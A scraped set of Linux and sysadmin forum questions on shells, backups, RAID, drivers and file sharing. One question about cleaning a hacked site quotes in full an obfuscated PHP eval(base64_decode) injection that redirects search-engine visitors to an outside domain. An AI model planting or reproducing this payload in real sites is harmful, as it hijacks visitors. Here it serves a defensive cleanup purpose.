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• Why does subshell not inherit exported variable (PS1)?

  - by amn

  After some debugging I finally narrowed down the problem as to why my X session xterm prompt does not appear according to my PS1 setting. If I run sh -c env, it doesn't even show PS1 in the list. Why? export PS1='test' sh -c env # No PS1 in the list, default prompt appearance (shell name + version) Substituting sh with bash yields same result, alas the behavior appears to be the same for both shells/modes. As far as I understood from man bash, the environment resulting from command run by shell with -c should include the exported variables. And it does - exporting FOOBAR results in FOOBAR listed in env run by subshell. It appears that the story is different if the variable is PS1 however. What is going on? I want my prompt propagated throughout the process tree and system. For matters sake, it is set in /etc/profile.d/user.sh (a file I created myself) with the following: PS1='\u@\H \w \$ ' export PS1 I am running Arch Linux (updated yesterday.)

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• Kubuntu 11.10 very slow during file I/O

  - by dko

  After updating to Kubuntu 11.10, my file I/O performance has slowly just gotten worse and worse. It is to the point where I'm getting 1 MB/s write/read speeds to the drive. If I download something, the whole machine becomes unresponsive for at times up to 30 seconds. This usually causes a timeout in the download and the download then stops. Even extracting archive files, while extracting the computer is just unusable on top of the terrible read/write speeds. It isn't the drive as I have Windows installed as well and when I boot to it I have no issues with the drive. I did not have this issue using Kubuntu 11.04 and am thinking of downgrading. However, I'd much rather help out the Ubuntu community by working through these issues. I'm starting to lean towards the new Linux Kernel is just not working well with file handles. During file I/O my system usage does pick up, but it is not 100% CPU usage. My system is as follows. Samsung 2 TB hard disk drive AMD Phenom II x6 1055 4 GB RAM (only one in use according to system monitor) ATI 5850 HD

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• Will you choose JavaFX for Development?

  - by javafx4you

  A few weeks ago, a poll on the home page of java.net caught my eyes, because it was related to JavaFX. Its title: Will you use JavaFX for development once it's fully ported to Mac and Linux platforms? Usually, the results for this type of polls are published on the editor's Daily Blog soon after the poll closes. For some reason, this didn't happen for the JavaFX poll, so I'll take a shot at interpreting the results.  The results found on java.net look pretty close to the following: Although this way to look at the results already gives us an idea of how much traction JavaFX is getting, there are just too many type of answers that make it hard to read. The answers "maybe" and "I don't know" are awfully similar, so I'm tempted to collapse these together. Then there is "No, I don't do that type of development" that just doesn't belong here, as obviously developers who ave chosen this answer don't develop Rich Internet Apps, and therefore I will adapt the % results accordingly. Finally, I've been tempted to combine the top three categories just t simplify the results. This gives me the following chart:  Whether you prefer the original graph, or my simplified take on it, one thing is sure:  less than 10% of developers who have taken this poll plan to stick to another toolkit (presumably Swing or SWT), while the vast majority is inclined to use JavaFX. When you take into account that JavaFX 2.0 is pretty much a "new" API (no more JavaFX Script), I think these are some pretty good results, 6 months after the official release of JavaFX 2.0.

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• Change permission of files with the owner 'apache'

  - by Dotty

  Hay, i have some files on my server with the owner set to "apache", I'm not quite sure how this happened. Anyway, i need to change the permission of these files to 0777 so i can download/edit them. However i cannot. I'm using a 1and1 Linux server and use Plesk to administrate it. I have the ability to login via SSH. However, if i run chmod or chown i get a "permission denied" error, and if i try to sudo chmod or chown it says the command cannot be found. When i go to edit my domain details, i get this option Shell access to server with FTP user's credentials and have these options /bin/sh /bin/bash /sbin/nologin /bin/bash (chrooted) /bin/rbash Any idea's how i should go about changing the permissions or changing the owner? Thanks

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• GeForce and Radeon: what is present condition of opensource and proprietary drivers?

  - by Septagram

  So, it'm about to buy a fresh videocard. Since I do most of my stuff on Linux, I wonder how well will either videocard perform. I recently had a good experience with GeForce 6600 with proprietary drivers and a less than satisfactory experience with Radeon 9000 a while ago. From my experience, proprietary drivers for GeForce used to work very well, while proprietary drivers for Radeon failed miserably. And opensource drivers were sloooow. A few months ago I found out that ATI opened their specifications, and a work on fully featured opensource driver is in progress. I prefer to use free software whenever possible, with the exception of games, so, if that driver is fast enough, feature-rich enough and reliable enough I'd very much like to try it out. I wish I could say that if I can just to basic things, like watch video, heavily use compiz and work with simple applications, this may be enough. I do most of my gaming under Windows anyway. However, there is a good chance I'll go into indie game development in a few months fulltime, so it should also be able to run not-so-very-demanding games (say Nexuiz). But if it isn't, I'd like to know, what to expect from proprietary drivers. Do recent proprietary drivers from NVIDIA and ATI work well? Are ATI drivers just as easy to install on Ubuntu as are NVIDIA drivers?

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• rsync to cifs mount but preserve permissions

  - by weberwithoneb

  I'm backing up a linux server to a windows share. I'm currently mounting the windows share with cifs and using rsync for incremental backups. File permissions and ownership are not being preserved, as should be expected after reading this samba document: The core CIFS protocol does not provide unix ownership information or mode for files and directories. Because of this, files and directories will generally appear to be owned by whatever values the uid= or gid= options are set, and will have permissions set to the default file_mode and dir_mode for the mount. How can I achieve my goal of preserving unix file permissions while writing to a windows share? Is there another network file system that would allow me to do this? Thanks.

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• Configure Raid On Red Hat 5

  - by Sopolin

  Hi all, I have a problem with configure raid on red hat enterprise linux. The problem is when I create raid on two hard disks. It works successfully but after I remove one hard disk. It works normally. It means that I plug in one hard disk for testing configure raid. But after that I put both hard disks and create other file. The raid is cleared. My question is: Why do I turn off server machine, it clears raid that I configure first time before I turn off? Could anyone help to solve this problem? Thank, Ung Sopolin

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• How to deal with the need to know multiple programming languages? When to stop learning new languages?

  - by Raphael

  I am a relatively young programmer. I am 23 and I have been programming professionally for about 5 years. As most programmers I started with C, learned some x86 assembly for fun and then I found C++ which turned out to be my greatest passion in the programming world. Programming with C and C++ forces you to learn platform specific APIs, libs and frameworks all of each requires constant study and experimentation. After some time I had to move on to Java and C# as the demand on my region is basically for these languages. With these languages I entered the world of web development and then I had to learn javascript. Developing for the .NET Framework was exciting at first but I constantly felt as I was getting tied up by Microsoft (and of course the .NET Framework was driving me away from Linux). For desktop development I could do pretty much everything I did with .NET using C++ with Qt but for web development I had to look for an alternative. Quickly I found Django and then I proceeded to learn Python so I could use Django. Nowadays I am learning iOS development with Objective-C. So far it was pretty much easy to learn all these languages (C++ trained me well) but I am worried that someday I won't be able to keep track of them all. Just to clarify. The only languages I learned cause I had to were C# and Java. All of the others I learned for fun, because I love programming and learning new things. Also I like to keep my skills sharp on desktop, web and mobile development. My question is: How do you keep track of multiple programming languages? (I mean, keep track of changes to these languages and keep your skills sharp) and: Is there such a thing as enough programming languages?

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• Upload a directory recursively to an FTP server

  - by Nicolas Raoul

  I am writing a Linux shell script to copy a local directory to a remote server (removing any existing files). Local server: ftp and lftp commands are available, no ncftp or any graphical tools. Remote server: only accessible via FTP. No rsync nor SSH nor FXP. I am thinking about listing local and remote files to generate a lftp script and then run it. Is there a better way? Note: Uploading only modified files would be a plus, but not required

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• Lost WiFi after 12.10 upgrade

  - by Steven Guillory

  I received my new Dell Vostro 2420 last week, and just got around to upgrading from 11.10 to 12.10. Unfortunately, like many others (after researching the issue), I no longer have WiFi. I have tried every sudo command given that worked for others, and still can't get my wireless to function. I am new to Linux, so any and all help is appreciated. Thanks in advance! Edit: I can connect via ethernet, just not via wifi. As a matter of fact, when I use Fn + F2 to turn on wifi, only my bluetooth comes on. lspci 00:00.0 Host bridge: Intel Corporation 2nd Generation Core Processor Family DRAM Controller (rev 09) 00:02.0 VGA compatible controller: Intel Corporation 2nd Generation Core Processor Family Integrated Graphics Controller (rev 09) 00:16.0 Communication controller: Intel Corporation Panther Point MEI Controller #1 (rev 04) 00:1a.0 USB controller: Intel Corporation Panther Point USB Enhanced Host Controller #2 (rev 04) 00:1b.0 Audio device: Intel Corporation Panther Point High Definition Audio Controller (rev 04) 00:1c.0 PCI bridge: Intel Corporation Panther Point PCI Express Root Port 1 (rev c4) 00:1c.3 PCI bridge: Intel Corporation Panther Point PCI Express Root Port 4 (rev c4) 00:1c.5 PCI bridge: Intel Corporation Panther Point PCI Express Root Port 6 (rev c4) 00:1d.0 USB controller: Intel Corporation Panther Point USB Enhanced Host Controller #1 (rev 04) 00:1f.0 ISA bridge: Intel Corporation Panther Point LPC Controller (rev 04) 00:1f.2 SATA controller: Intel Corporation Panther Point 6 port SATA Controller [AHCI mode] (rev 04) 00:1f.3 SMBus: Intel Corporation Panther Point SMBus Controller (rev 04) 07:00.0 Network controller: Broadcom Corporation Device 4365 (rev 01) 09:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168B PCI Express Gigabit Ethernet controller (rev 07) This is what I am getting... dpkg: error: --install needs at least one package archive file argument Type dpkg --help for help about installing and deinstalling packages [*]; Use dselect or aptitude for user-friendly package management; Type dpkg -Dhelp for a list of dpkg debug flag values; Type dpkg --force-help for a list of forcing options; Type dpkg-deb --help for help about manipulating *.deb files; Options marked [*] produce a lot of output - pipe it through less or more !

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• Windows XP: Consequences of setting a password for an account

  - by sleske

  I do not quite understand how Windows (specifically Windows XP) handles accounts with/without passwords. As far as I can see, on a fresh Windows XP install I have one default account which has admin rights does not have a password will auto-login (without password prompt) when the computer boots What happens if I set a password for this account? Will it still auto-login? Or will it always prompt for the PW? And generally, what consequences does it have if I set a password? I noted that Scheduled Tasks apparently cannot run under an account w/o password (creating a scheduled task will prompt for the account PW). Is there anything that will not work with a password set? Why is it even possible to have accounts without a password? I have some Unix/Linux background, but the concepts appear a little different under Windows.

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• Enable Ctrl (or Alt) + arrow keys to mimic 'home' and 'end' functionality

  - by YuKagi

  I am a long time Mac user and I'm now using a Ubuntu machine for development, and while I'm more or less used to a lot of the keyboard shortcuts, one thing I can't get used to is using the 'Home' and 'End' keys to move around lines of text. On a Mac you use "Command + right arrow" to go to the end of a line and "Command + left arrow" to go to the beginning. Is there a way to enable this kind of functionality in Linux? I'm not sure if this would be considered remapping, keyboard shortcuts, or what...

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• Block IPs if they access a resource

  - by Victor Oliva

  I own a server that it's costantly being attacked by scripts (that try to access to phpMyAdmin's setup file's and stuff like this). I've heard that many people get this kinds of attacks, but I'm starting to worry since they are getting more common (last month I got 2 attacks, and on november 7th there are 3 attempts already (1st, 4th and 6th of nov). I'm not really concerned about it, since I don't have any database. All the info i have on that server is absolutely public, but I'm worried about that attacking-rate increase. So I thought I could -temporarily- block the IPs that come from those attackers, or something that could make my server ignore requests that ask for phpMyAdmin, pma, xamp, etc. Is there something like that? my server is Linux+Apache+Php

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• grep, xargs, sed to clean up PHP eval hack

  - by roktechie

  I'm attempting to use the commands found on http://devilsworkshop.org/tutorial/remove-evalbase64decode-malicious-code-grep-sed-commands-files-linux-server/55587/ to clean up a PHP eval based hack on a site. Sample code to match/remove <?php eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOwokcWF6cGxtPWhlYWRlcnNfc2VudCgpOwppZiAoISRxYXpwbG0pewokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107CiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOwppZiAoJHVhZykgewppZiAoIXN0cmlzdHIoJHVhZywiTVNJRSA3LjAiKSBhbmQgIXN0cmlzdHIoJHVhZywiTVNJRSA2LjAiKSl7CmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rLmNvbS9sIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9sb29wZG93bi5sZmxpbmt1cC5jb20vIik7CmV4aXQoKTsKfQp9Cn0KfQp9")); Attempted command: sudo grep -lr --include=*.php "eval(base64_decode" /home/user/webdir | sudo xargs sed -i.bak 's/<?php eval(base64_decode[^;]*;/<?php\n/g' The sudo has been added as it is required to have permission to read/write on the dir I'm accessing. The files list properly from grep, but are not changed by sed. Any suggestions?

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• Sorting out mSSD acceleration on a Acer M3-581TG

  - by PhonicUK

  I recently purchased a Acer Timeline M3 Ultra, it ships with a 500GB HDD and a 20GB mSSD to use as a cache. First thing I did when I got it was format the drives and install a clean OS (on the HDD, the mSSD has nothing on it) - but now I can't figure out how everything needs to be configured in order to use the mSSD as a cache, it just looks like a standard storage drive. I've poked around in the BIOS and there is a SATA mode setting, but it only has one option (AHCI), most of the documentation I've seen on the subject says that the SATA controller needs to be in RAID mode otherwise 'Acceleration' isn't visible in the Intel SRT menu (which for me, it isn't) I've seen a few things that suggest I just need the correct partition layout, I tried this using fdisk from a Linux LiveCD but got nowhere. Any ideas? The laptop shipped with no recovery media so I'm marginally stumped. I don't have any issue with reformatting again if required.

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• backing up ntfs disk using rsync on ubuntu

  - by user70366

  For a long time I was using windows. I have a separate drive I use to keep copies of my media files, photos etc. on, which I periodically backup to an external drive. In Windows I used SyncToy to do this. After my Windows stopped booting, I decided to switch to Linux (Ubuntu 10.10). That seems to be going fine, but now I want to backup my drive to the external drive like before. Mostly the two drives will be already the same with maybe about 10GB of extra files added. So I try to use rsync to synchronise the two drives like this: rsync --dry-run -rvlt --modify-window=1 /media/Antonio1TB/Backup /media/FREECOM\ HDD/Backup The problem is the dry run indicates that every file on the drive will be copied. Not just the files I have recently added. What is the correct command to synch two NTFS drives under Ubuntu so that files that already exist don't get copied again? Thanks.

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• How to watch for count of new lines in tail

  - by fl00r

  I want to do something like this: watch tail -f | wc -l #=> 43 #=> 56 #=> 61 #=> 44 #=> ... It counts new lines of tail each second / Linux, CentOs To be more clear. I have got something like this: tail -f /var/log/my_process/*.log | grep error I am reading some error messages. And now I want to count them. How many ~ errors I have got in a second. So one line in a log is one error in a proccess.

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• User account automatically filling up with dead.letter file

  - by jeroen

  I have one user account on a server with about 400 accounts that is filling up automatically. The dead.letter file in the users home directory automatically grows until the account is full (about 10 - 40 Mb per day). The user is using Microsoft Outlook to send and receive mail. What can be causing this and how can I avoid it from happening? Right now I have an emergency cron-job to delete the file but I would like "real" solution. Edit: The server version is Red Hat Enterprise Linux ES release 4 (Nahant Update 4) Edit 2: It seems mainly spam and I see different mailer headings (from php to Outlook Express) and a frequent appearing header is [email protected] Update: I have asked the hosting provider where I use that dedicated server to look into the problem as well, as it's their Control Panel that could be a cause of the problem.

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• Understanding Application binary interface (ABI)

  - by Tim

  I am trying to understand the concept of Application binary interface (ABI). From The Linux Kernel Primer: An ABI is a set of conventions that allows a linker to combine separately compiled modules into one unit without recompilation, such as calling conventions, machine interface, and operating-system interface. Among other things, an ABI defines the binary interface between these units. ... The benefits of conforming to an ABI are that it allows linking object files compiled by different compilers. From Wikipedia: an application binary interface (ABI) describes the low-level interface between an application (or any type of) program and the operating system or another application. ABIs cover details such as data type, size, and alignment; the calling convention, which controls how functions' arguments are passed and return values retrieved; the system call numbers and how an application should make system calls to the operating system; and in the case of a complete operating system ABI, the binary format of object files, program libraries and so on. I was wondering whether ABI depends on both the instruction set and the OS. Are the two all that ABI depends on? What kinds of role does ABI play in different stages of compilation: preprocessing, conversion of code from C to Assembly, conversion of code from Assembly to Machine code, and linking? From the first quote above, it seems to me that ABI is needed for only linking stage, not the other stages. Is it correct? When is ABI needed to be considered? Is ABI needed to be considered during programming in C, Assembly or other languages? If yes, how are ABI and API different? Or is it only for linker or compiler? Is ABI specified for/in machine code, Assembly language, and/or of C?

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• mod_ssl RPM conflict

  - by 0A0D

  I build Apache httpd into an RPM using these sites: http://erikwebb.net/blog/compile-and-install-apache-24-red-hat-enterprise-linux-rhel-6-or-centos-6 http://ramblin-dude.blogspot.com/2013/04/compiling-rpm-for-httpd-on-rhel-57.html I was successful at building apr* and httpd*. However, when I try to install httpd using rpm -Uvh httpd-devel-2.2.25-1.x86_64.rpm httpd-2.2.25-1.x86_64.rpm mod_ssl-2.2.25-1.x86_64.rpm I get the following error: package mod_ssl-2.2.3-82.el5_9.x86_64 (which is newer than mod_ssl-2.2.25-1.x86_64) is already installed. I have httpd 2.2.3-82 installed. Do I need to remove it first? Seems counterintuitive.

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• Web/Cloud Based OS with Torrent Features and Free Storage?

  - by Kristina E

  Hi, I want a web-based OS with a torrent client and I want to link it to one of the many free cloud storage solutions. I think it would be really cool to be able to check and download torrents anywhere and not use my hardware or connection until I want to transfer the files down to my actual desktop (like burning a Linux ISO or to convert the file to a IFO format). Anywyas, I created accounts at 4Shared, EyeOS, GlideOS, ADrive and iCloud and am having no luck. There is an eyeTorrent app but I can't seem to get it configured and I can't log into my cloud storage from the cloud OS. Has anyone been able to pull this off and if so would you please explain how? Thanks, Kristina

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• How to use graphical line drawing characters with Midnight Commander on OS X under ssh?

  - by Sorin Sbarnea

  I discovered that when I do ssh to a machine using OS X 10.6 and use mc I do not see the graphical line drawing characters. This does not happen if I open terminal and start mc. I'm connecting using putty configured to use xterm-color, configuraton that works just fine if I do ssh to a linux machine. The mc from OS X is version 4.7.0 (installed using macports). What locale returns: LC_CTYPE="C" <== ssh LC_CTYPE="UTF-8" <== Terminal.app ssh: mc display bits shows: 7-bit ASCII (changing does not help, it defaults to the same value) Terminal.app: mc display bits shows: UTF-8 The environment shows TERM=xterm-color in both cases Terminal.app and ss but mc looks different. I filed a bug to mc with this information at http://www.midnight-commander.org/ticket/2339

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• Recovering mail from hardrive (broken os).

  - by Maciek Sawicki

  Hi, Friend of mine broke his Windows (doesn't boot). I will probably have to reinstall OS. I want to mount his hard drive in my OS to beck up some important files. He sad he uses Outlook express, but he Use Vista so I'm not sure it's Vistas Mail Client or Outlook. What files I have to copy to backup mail and adders book from Outlook, Outlook Express and Windows Mail? Is it any good program for doing it automatically (for Linux or Windows)? If there are tools or special procedures for other mail clients (for example Thunderbird) you can also name them to make this question more generic.

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• Acer S3 SSD and HD Deleted partitions?

  - by user207784

  I'm new to Linux and Ubuntu, and I think I have a problem. I have an Acer Aspire S3 with 20GB SSD and 320GB HD. I installed Ubuntu 12.04 64bit on it today, and when it asked about partitions, without knowing better, I erased the partitions. There is some information at https://help.ubuntu.com/community/AspireS3 about using the SSD and HD efficiently, but since I deleted the partitions, I don't know what to do. How can I recreate the partitions mentioned in the above link so that I can take advantage of having SSD and HD? I installed GParted, but I don't know what I should do now, and I don't want to screw things up further. I greatly appreciate any help that can be offered me. EDIT: I was playing with GParted, and I just realized that I can see dev/sda and dev/sdb, so perhaps I didn't do something horrible to my partitions. I am also sorry for asking such (dumb?) questions. At this point, is there a way to tell whether I have actually screwed up my partitions? Thanks, Joe

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• How can I share files from my Windows 7 machine to my friend's Ubuntu machine?

  - by ProfKaos

  I run a Windows 7 Pro SP1 laptop as my home machine, and my housemate runs an Ubuntu 12.04.1.05 desktop. We share a WLAN. I would like to make certain locations and files available for him to read and maybe write. How can I go about this? Bearing in mind I have very little recent experience with modern Linux, and Ubuntu in particular. My first idea is to share a Windows folder with my Ubuntu VM under VMWare Player, then his Ubuntu machine can connect to my Unbuntu VM, and the two can use whatever magic Ubuntu uses to achieve file sharing. This requires my Ubuntu VM to be always running though, and that may not always be possible. I have also heard that Samba may have a feature to help here, but I know nothing about that. How can I share my Windows files with my mate's Ubuntu machine, preferably with a 1 to 1 connection, i.e. rather not using shim VM's

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